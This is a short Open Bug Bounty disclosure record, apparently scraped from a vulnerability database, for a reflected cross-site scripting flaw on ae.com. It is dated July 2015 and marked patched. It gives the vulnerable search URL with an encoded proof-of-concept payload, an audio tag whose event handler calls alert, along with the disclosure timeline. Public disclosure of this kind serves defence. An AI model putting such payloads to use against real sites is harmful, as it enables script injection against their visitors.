Lucene search

K
openbugbountyNopernikOBB:73840
HistoryJul 18, 2015 - 2:51 p.m.

ae.com XSS vulnerability

2015-07-1814:51:00
nopernik
www.openbugbounty.org
9
Vulnerable URL:
http://ae.com/web/search/index.jsp?Ntt=sunglasses%27%22%3E%3Caudio%20onloadstart%3dalert%28%27xssposed%27%29%20src%3E//
Details:
Description Value
Patched: Yes, at 04.09.2015
Latest check for patch: 04.09.2015 16:06 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 2459
Google Pagerank 6
VIP website status: Yes
Check ae.com SSL connection: (Grade: A)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 18 July, 2015 14:51 GMT
Vulnerability existence verified and confirmed 18 July, 2015 14:54 GMT